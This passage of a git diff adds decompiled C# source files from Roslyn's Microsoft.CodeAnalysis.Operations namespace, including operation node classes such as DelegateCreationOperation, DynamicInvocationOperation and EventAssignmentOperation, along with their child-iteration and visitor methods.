ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitDefaultValue(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitDefaultValue(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DelegateCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DelegateCreationOperation.cs new file mode 100644 index 0000000..858a8f7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DelegateCreationOperation.cs @@ -0,0 +1,74 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class DelegateCreationOperation : Operation, IDelegateCreationOperation, IOperation +{ + public IOperation Target { get; } + + internal override int ChildOperationsCount => (Target != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.DelegateCreation; + + internal DelegateCreationOperation(IOperation target, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Target = Operation.SetParentOperation(target, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Target != null) + { + return Target; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitDelegateCreation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitDelegateCreation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DiscardOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DiscardOperation.cs new file mode 100644 index 0000000..9eb7bb0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DiscardOperation.cs @@ -0,0 +1,48 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class DiscardOperation : Operation, IDiscardOperation, IOperation +{ + public IDiscardSymbol DiscardSymbol { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Discard; + + internal DiscardOperation(IDiscardSymbol discardSymbol, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + DiscardSymbol = discardSymbol; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitDiscardOperation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitDiscardOperation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DiscardPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DiscardPatternOperation.cs new file mode 100644 index 0000000..6465a04 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DiscardPatternOperation.cs @@ -0,0 +1,44 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class DiscardPatternOperation : BasePatternOperation, IDiscardPatternOperation, IPatternOperation, IOperation +{ + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.DiscardPattern; + + internal DiscardPatternOperation(ITypeSymbol inputType, ITypeSymbol narrowedType, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(inputType, narrowedType, semanticModel, syntax, isImplicit) + { + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitDiscardPattern(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitDiscardPattern(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DisposeOperationInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DisposeOperationInfo.cs new file mode 100644 index 0000000..7cc9fd3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DisposeOperationInfo.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +internal readonly struct DisposeOperationInfo(IMethodSymbol? disposeMethod, ImmutableArray disposeArguments) +{ + public readonly IMethodSymbol? DisposeMethod = disposeMethod; + + public readonly ImmutableArray DisposeArguments = disposeArguments; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DynamicIndexerAccessOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DynamicIndexerAccessOperation.cs new file mode 100644 index 0000000..53c202c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DynamicIndexerAccessOperation.cs @@ -0,0 +1,107 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class DynamicIndexerAccessOperation : HasDynamicArgumentsExpression, IDynamicIndexerAccessOperation, IOperation +{ + public IOperation Operation { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.DynamicIndexerAccess; + + internal override int ChildOperationsCount => ((Operation != null) ? 1 : 0) + base.Arguments.Length; + + public DynamicIndexerAccessOperation(IOperation operation, ImmutableArray arguments, ImmutableArray argumentNames, ImmutableArray argumentRefKinds, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(arguments, argumentNames, argumentRefKinds, semanticModel, syntax, type, isImplicit) + { + Operation = Microsoft.CodeAnalysis.Operation.SetParentOperation(operation, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Operation != null) + { + return Operation; + } + break; + case 1: + if (index < base.Arguments.Length) + { + return base.Arguments[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (!base.Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 2; + case 1: + if (previousIndex + 1 < base.Arguments.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto case 2; + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!base.Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: base.Arguments.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitDynamicIndexerAccess(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitDynamicIndexerAccess(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DynamicInvocationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DynamicInvocationOperation.cs new file mode 100644 index 0000000..4a3fd7f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DynamicInvocationOperation.cs @@ -0,0 +1,107 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class DynamicInvocationOperation : HasDynamicArgumentsExpression, IDynamicInvocationOperation, IOperation +{ + internal override int ChildOperationsCount => ((Operation != null) ? 1 : 0) + base.Arguments.Length; + + public IOperation Operation { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.DynamicInvocation; + + public DynamicInvocationOperation(IOperation operation, ImmutableArray arguments, ImmutableArray argumentNames, ImmutableArray argumentRefKinds, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(arguments, argumentNames, argumentRefKinds, semanticModel, syntax, type, isImplicit) + { + Operation = Microsoft.CodeAnalysis.Operation.SetParentOperation(operation, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Operation != null) + { + return Operation; + } + break; + case 1: + if (index < base.Arguments.Length) + { + return base.Arguments[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (!base.Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 2; + case 1: + if (previousIndex + 1 < base.Arguments.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto case 2; + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!base.Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: base.Arguments.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitDynamicInvocation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitDynamicInvocation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DynamicMemberReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DynamicMemberReferenceOperation.cs new file mode 100644 index 0000000..00606bd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DynamicMemberReferenceOperation.cs @@ -0,0 +1,84 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class DynamicMemberReferenceOperation : Operation, IDynamicMemberReferenceOperation, IOperation +{ + public IOperation? Instance { get; } + + public string MemberName { get; } + + public ImmutableArray TypeArguments { get; } + + public ITypeSymbol? ContainingType { get; } + + internal override int ChildOperationsCount => (Instance != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.DynamicMemberReference; + + internal DynamicMemberReferenceOperation(IOperation? instance, string memberName, ImmutableArray typeArguments, ITypeSymbol? containingType, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Instance = Operation.SetParentOperation(instance, this); + MemberName = memberName; + TypeArguments = typeArguments; + ContainingType = containingType; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Instance != null) + { + return Instance; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitDynamicMemberReference(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitDynamicMemberReference(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DynamicObjectCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DynamicObjectCreationOperation.cs new file mode 100644 index 0000000..376efd9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/DynamicObjectCreationOperation.cs @@ -0,0 +1,112 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class DynamicObjectCreationOperation : HasDynamicArgumentsExpression, IDynamicObjectCreationOperation, IOperation +{ + public IObjectOrCollectionInitializerOperation? Initializer { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.DynamicObjectCreation; + + internal override int ChildOperationsCount => ((Initializer != null) ? 1 : 0) + base.Arguments.Length; + + public DynamicObjectCreationOperation(IObjectOrCollectionInitializerOperation? initializer, ImmutableArray arguments, ImmutableArray argumentNames, ImmutableArray argumentRefKinds, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(arguments, argumentNames, argumentRefKinds, semanticModel, syntax, type, isImplicit) + { + Initializer = Operation.SetParentOperation(initializer, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (index < base.Arguments.Length) + { + return base.Arguments[index]; + } + break; + case 1: + if (Initializer != null) + { + return Initializer; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!base.Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto IL_0053; + case 0: + if (previousIndex + 1 < base.Arguments.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto IL_0053; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_0053: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (!base.Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: base.Arguments.Length - 1); + } + goto case -1; + case 0: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + goto case -1; + case -1: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitDynamicObjectCreation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitDynamicObjectCreation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/EmptyOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/EmptyOperation.cs new file mode 100644 index 0000000..baa9d54 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/EmptyOperation.cs @@ -0,0 +1,44 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class EmptyOperation : Operation, IEmptyOperation, IOperation +{ + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Empty; + + internal EmptyOperation(SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitEmpty(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitEmpty(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/EndOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/EndOperation.cs new file mode 100644 index 0000000..2e85fef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/EndOperation.cs @@ -0,0 +1,44 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class EndOperation : Operation, IEndOperation, IOperation +{ + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.End; + + internal EndOperation(SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitEnd(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitEnd(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/EventAssignmentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/EventAssignmentOperation.cs new file mode 100644 index 0000000..3edefbe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/EventAssignmentOperation.cs @@ -0,0 +1,106 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class EventAssignmentOperation : Operation, IEventAssignmentOperation, IOperation +{ + public IOperation EventReference { get; } + + public IOperation HandlerValue { get; } + + public bool Adds { get; } + + internal override int ChildOperationsCount => ((EventReference != null) ? 1 : 0) + ((HandlerValue != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.EventAssignment; + + internal EventAssignmentOperation(IOperation eventReference, IOperation handlerValue, bool adds, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + EventReference = Operation.SetParentOperation(eventReference, this); + HandlerValue = Operation.SetParentOperation(handlerValue, this); + Adds = adds; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (EventReference != null) + { + return EventReference; + } + break; + case 1: + if (HandlerValue != null) + { + return HandlerValue; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (EventReference != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (HandlerValue != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (HandlerValue != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (EventReference != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitEventAssignment(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitEventAssignment(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/EventReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/EventReferenceOperation.cs new file mode 100644 index 0000000..f56e5a9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/EventReferenceOperation.cs @@ -0,0 +1,79 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class EventReferenceOperation : BaseMemberReferenceOperation, IEventReferenceOperation, IMemberReferenceOperation, IOperation +{ + public IEventSymbol Event { get; } + + public override ITypeSymbol? ConstrainedToType { get; } + + internal override int ChildOperationsCount => (base.Instance != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.EventReference; + + public override ISymbol Member => Event; + + internal EventReferenceOperation(IEventSymbol @event, ITypeSymbol? constrainedToType, IOperation? instance, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(instance, semanticModel, syntax, isImplicit) + { + Event = @event; + ConstrainedToType = constrainedToType; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && base.Instance != null) + { + return base.Instance; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (base.Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (base.Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitEventReference(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitEventReference(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/Expression.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/Expression.cs new file mode 100644 index 0000000..7b24546 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/Expression.cs @@ -0,0 +1,43 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal class Expression +{ + public static ConstantValue SynthesizeNumeric(ITypeSymbol type, int value) + { + switch (type.SpecialType) + { + case SpecialType.System_Int32: + return ConstantValue.Create(value); + case SpecialType.System_Int64: + return ConstantValue.Create((long)value); + case SpecialType.System_UInt32: + return ConstantValue.Create((uint)value); + case SpecialType.System_UInt64: + return ConstantValue.Create((ulong)value); + case SpecialType.System_UInt16: + return ConstantValue.Create((ushort)value); + case SpecialType.System_Int16: + return ConstantValue.Create((short)value); + case SpecialType.System_SByte: + return ConstantValue.Create((sbyte)value); + case SpecialType.System_Byte: + return ConstantValue.Create((byte)value); + case SpecialType.System_Char: + return ConstantValue.Create((char)value); + case SpecialType.System_Boolean: + return ConstantValue.Create(value != 0); + case SpecialType.System_Single: + return ConstantValue.Create((float)value); + case SpecialType.System_Double: + return ConstantValue.Create((double)value); + case SpecialType.System_Object: + return ConstantValue.Create(1, ConstantValueTypeDiscriminator.Int32); + default: + if (type.TypeKind == TypeKind.Enum) + { + return SynthesizeNumeric(((INamedTypeSymbol)type).EnumUnderlyingType, value); + } + return ConstantValue.Bad; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ExpressionStatementOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ExpressionStatementOperation.cs new file mode 100644 index 0000000..2deb691 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ExpressionStatementOperation.cs @@ -0,0 +1,73 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ExpressionStatementOperation : Operation, IExpressionStatementOperation, IOperation +{ + public IOperation Operation { get; } + + internal override int ChildOperationsCount => (Operation != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ExpressionStatement; + + internal ExpressionStatementOperation(IOperation operation, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Operation = Microsoft.CodeAnalysis.Operation.SetParentOperation(operation, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Operation != null) + { + return Operation; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool 